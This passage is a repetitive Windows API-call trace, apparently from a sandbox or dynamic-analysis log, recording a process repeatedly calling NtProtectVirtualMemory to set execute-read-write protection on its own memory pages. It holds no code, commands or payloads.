BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.730] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.825] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.948] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.006] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.042] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.129] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.204] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.265] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.357] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.374] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.398] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.490] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.556] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.664] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.721] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.869] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.924] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, 